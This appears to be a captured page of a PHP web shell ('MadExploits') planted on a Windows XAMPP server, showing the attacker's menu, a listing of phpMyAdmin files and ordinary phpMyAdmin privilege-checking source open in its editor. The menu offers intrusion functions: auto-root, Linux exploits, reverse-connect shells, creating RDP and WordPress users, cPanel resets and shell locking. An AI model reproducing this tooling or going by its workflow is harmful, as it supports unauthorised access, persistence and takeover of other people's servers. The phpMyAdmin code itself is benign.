Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CheckUserPrivileges.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Get user's global privileges and some db-specific privileges * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Util; /** * PhpMyAdmin\CheckUserPrivileges class * * @package PhpMyAdmin */ class CheckUserPrivileges { /** * @var DatabaseInterface */ private $dbi; /** * Constructor * * @param DatabaseInterface $dbi DatabaseInterface object */ public function __construct(DatabaseInterface $dbi) { $this->dbi = $dbi; } /** * Extracts details from a result row of a SHOW GRANT query * * @param string $row grant row * * @return array */ public function getItemsFromShowGrantsRow(string $row): array { $db_name_offset = mb_strpos($row, ' ON ') + 4; $tblname_end_offset = mb_strpos($row, ' TO '); $tblname_start_offset = false; if (($__tblname_start_offset = mb_strpos($row, '`.', $db_name_offset)) && $__tblname_start_offset < $tblname_end_offset) { $tblname_start_offset = $__tblname_start_offset + 1; } if (! $tblname_start_offset) { $tblname_start_offset = mb_strpos($row, '.', $db_name_offset); } $show_grants_dbname = mb_substr( $row, $db_name_offset, $tblname_start_offset - $db_name_offset ); $show_grants_dbname = Util::unQuote($show_grants_dbname, '`'); $show_grants_str = mb_substr( $row, 6, mb_strpos($row, ' ON ') - 6 ); $show_grants_tblname = mb_substr( $row, $tblname_start_offset + 1, $tblname_end_offset - $tblname_start_offset - 1 ); $show_grants_tblname = Util::unQuote($show_grants_tblname, '`'); return [ $show_grants_str, $show_grants_dbname, $show_grants_tblname, ]; } /** * Check if user has required privileges for * performing 'Adjust privileges' operations * * @param string $show_grants_str string containing grants for user * @param string $show_grants_dbname name of db extracted from grant string * @param string $show_grants_tblname name of table extracted from grant string * * @return void */ public function checkRequiredPrivilegesForAdjust( string $show_grants_str, string $show_grants_dbname, string $show_grants_tblname ): void { // '... ALL PRIVILEGES ON *.* ...' OR '... ALL PRIVILEGES ON `mysql`.* ..' // OR // SELECT, INSERT, UPDATE, DELETE .... ON *.* OR `mysql`.* if ($show_grants_str == 'ALL' || $show_grants_str == 'ALL PRIVILEGES' || (mb_strpos( $show_grants_str, 'SELECT, INSERT, UPDATE, DELETE' ) !== false) ) { if ($show_grants_dbname == '*' && $show_grants_tblname == '*' ) { $GLOBALS['col_priv'] = true; $GLOBALS['db_priv'] = true; $GLOBALS['proc_priv'] = true; $GLOBALS['table_priv'] = true; if ($show_grants_str == 'ALL PRIVILEGES' || $show_grants_str == 'ALL' ) { $GLOBALS['is_reload_priv'] = true; } } // check for specific tables in `mysql` db // Ex. '... ALL PRIVILEGES on `mysql`.`columns_priv` .. ' if ($show_grants_dbname == 'mysql') { switch ($show_grants_tblname) { case "columns_priv": $GLOBALS['col_priv'] = true; break; case "db": $GLOBALS['db_priv'] = true; break; case "procs_priv": $GLOBALS['proc_priv'] = true; break; case "tables_priv": $GLOBALS['table_priv'] = true; break; case "*": $GLOBALS['col_priv'] = true; $GLOBALS['db_priv'] = true; $GLOBALS['proc_priv'] = true; $GLOBALS['table_priv'] = true; break; default: } } } } /** * sets privilege information extracted from SHOW GRANTS result * * Detection for some CREATE privilege. * * Since MySQL 4.1.2, we can easily detect current user's grants using $userlink * (no control user needed) and we don't have to try any other method for * detection * * @todo fix to get really all privileges, not only explicitly defined for this user * from MySQL manual: (https://dev.mysql.com/doc/refman/5.0/en/show-grants.html) * SHOW GRANTS displays only the privileges granted explicitly to the named * account. Other privileges might be available to the account, but they are not * displayed. For example, if an anonymous account exists, the named account * might be able to use its privileges, but SHOW GRANTS will not display them. * * @return void */ private function analyseShowGrant(): void { if (Util::cacheExists('is_create_db_priv')) { $GLOBALS['is_create_db_priv'] = Util::cacheGet( 'is_create_db_priv' ); $GLOBALS['is_reload_priv'] = Util::cacheGet( 'is_reload_priv' ); $GLOBALS['db_to_create'] = Util::cacheGet( 'db_to_create' ); $GLOBALS['dbs_where_create_table_allowed'] = Util::cacheGet( 'dbs_where_create_table_allowed' ); $GLOBALS['dbs_to_test'] = Util::cacheGet( 'dbs_to_test' ); $GLOBALS['db_priv'] = Util::cacheGet( 'db_priv' ); $GLOBALS['col_priv'] = Util::cacheGet( 'col_priv' ); $GLOBALS['table_priv'] = Util::cacheGet( 'table_priv' ); $GLOBALS['proc_priv'] = Util::cacheGet( 'proc_priv' ); return; } // defaults $GLOBALS['is_create_db_priv'] = false; $GLOBALS['is_reload_priv'] = false; $GLOBALS['db_to_create'] = ''; $GLOBALS['dbs_where_create_table_allowed'] = []; $GLOBALS['dbs_to_test'] = $this->dbi->getSystemSchemas(); $GLOBALS['proc_priv'] = false; $GLOBALS['db_priv'] = false; $GLOBALS['col_priv'] = false; $GLOBALS['table_priv'] = false; $rs_usr = $this->dbi->tryQuery('SHOW GRANTS'); if (! $rs_usr) { return; } $re0 = '(^|(\\\\\\\\)+|[^\\\\])'; // non-escaped wildcards $re1 = '(^|[^\\\\])(\\\)+'; // escaped wildcards while ($row = $this->dbi->fetchRow($rs_usr)) { list( $show_grants_str, $show_grants_dbname, $show_grants_tblname ) = $this->getItemsFromShowGrantsRow($row[0]); if ($show_grants_dbname == '*') { if ($show_grants_str != 'USAGE') { $GLOBALS['dbs_to_test'] = false; } } elseif ($GLOBALS['dbs_to_test'] !== false) { $GLOBALS['dbs_to_test'][] = $show_grants_dbname; } if (mb_strpos($show_grants_str, 'RELOAD') !== false) { $GLOBALS['is_reload_priv'] = true; } // check for the required privileges for adjust $this->checkRequiredPrivilegesForAdjust( $show_grants_str, $show_grants_dbname, $show_grants_tblname ); /** * @todo if we find CREATE VIEW but not CREATE, do not offer * the create database dialog box */ if ($show_grants_str == 'ALL' || $show_grants_str == 'ALL PRIVILEGES' || $show_grants_str == 'CREATE' || strpos($show_grants_str, 'CREATE,') !== false ) { if ($show_grants_dbname == '*') { // a global CREATE privilege $GLOBALS['is_create_db_priv'] = true; $GLOBALS['is_reload_priv'] = true; $GLOBALS['db_to_create'] = ''; $GLOBALS['dbs_where_create_table_allowed'][] = '*'; // @todo we should not break here, cause GRANT ALL *.* // could be revoked by a later rule like GRANT SELECT ON db.* break; } else { // this array may contain wildcards $GLOBALS['dbs_where_create_table_allowed'][] = $show_grants_dbname; $dbname_to_test = Util::backquote($show_grants_dbname); if ($GLOBALS['is_create_db_priv']) { // no need for any more tests if we already know this continue; } // does this db exist? if ((preg_match('/' . $re0 . '%|_/', $show_grants_dbname) && ! preg_match('/\\\\%|\\\\_/', $show_grants_dbname)) || (! $this->dbi->tryQuery( 'USE ' . preg_replace( '/' . $re1 . '(%|_)/', '\\1\\3', $dbname_to_test ) ) && mb_substr($this->dbi->getError(), 1, 4) != 1044) ) { /** * Do not handle the underscore wildcard * (this case must be rare anyway) */ $GLOBALS['db_to_create'] = preg_replace( '/' . $re0 . '%/', '\\1', $show_grants_dbname ); $GLOBALS['db_to_create'] = preg_replace( '/' . $re1 . '(%|_)/', '\\1\\3', $GLOBALS['db_to_create'] ); $GLOBALS['is_create_db_priv'] = true; /** * @todo collect $GLOBALS['db_to_create'] into an array, * to display a drop-down in the "Create database" dialog */ // we don't break, we want all possible databases //break; } // end if } // end elseif } // end if } // end while $this->dbi->freeResult($rs_usr); // must also cacheUnset() them in // PhpMyAdmin\Plugins\Auth\AuthenticationCookie Util::cacheSet('is_create_db_priv', $GLOBALS['is_create_db_priv']); Util::cacheSet('is_reload_priv', $GLOBALS['is_reload_priv']); Util::cacheSet('db_to_create', $GLOBALS['db_to_create']); Util::cacheSet( 'dbs_where_create_table_allowed', $GLOBALS['dbs_where_create_table_allowed'] ); Util::cacheSet('dbs_to_test', $GLOBALS['dbs_to_test']); Util::cacheSet('proc_priv', $GLOBALS['proc_priv']); Util::cacheSet('table_priv', $GLOBALS['table_priv']); Util::cacheSet('col_priv', $GLOBALS['col_priv']); Util::cacheSet('db_priv', $GLOBALS['db_priv']); } /** * Get user's global privileges and some db-specific privileges * * @return void */ public function getPrivileges(): void { $username = ''; $current = $this->dbi->getCurrentUserAndHost(); if (! empty($current)) { list($username, ) = $current; } // If MySQL is started with --skip-grant-tables if ($username === '') { $GLOBALS['is_create_db_priv'] = true; $GLOBALS['is_reload_priv'] = true; $GLOBALS['db_to_create'] = ''; $GLOBALS['dbs_where_create_table_allowed'] = ['*']; $GLOBALS['dbs_to_test'] = false; $GLOBALS['db_priv'] = true; $GLOBALS['col_priv'] = true; $GLOBALS['table_priv'] = true; $GLOBALS['proc_priv'] = true; } else { $this->analyseShowGrant(); } } }
Close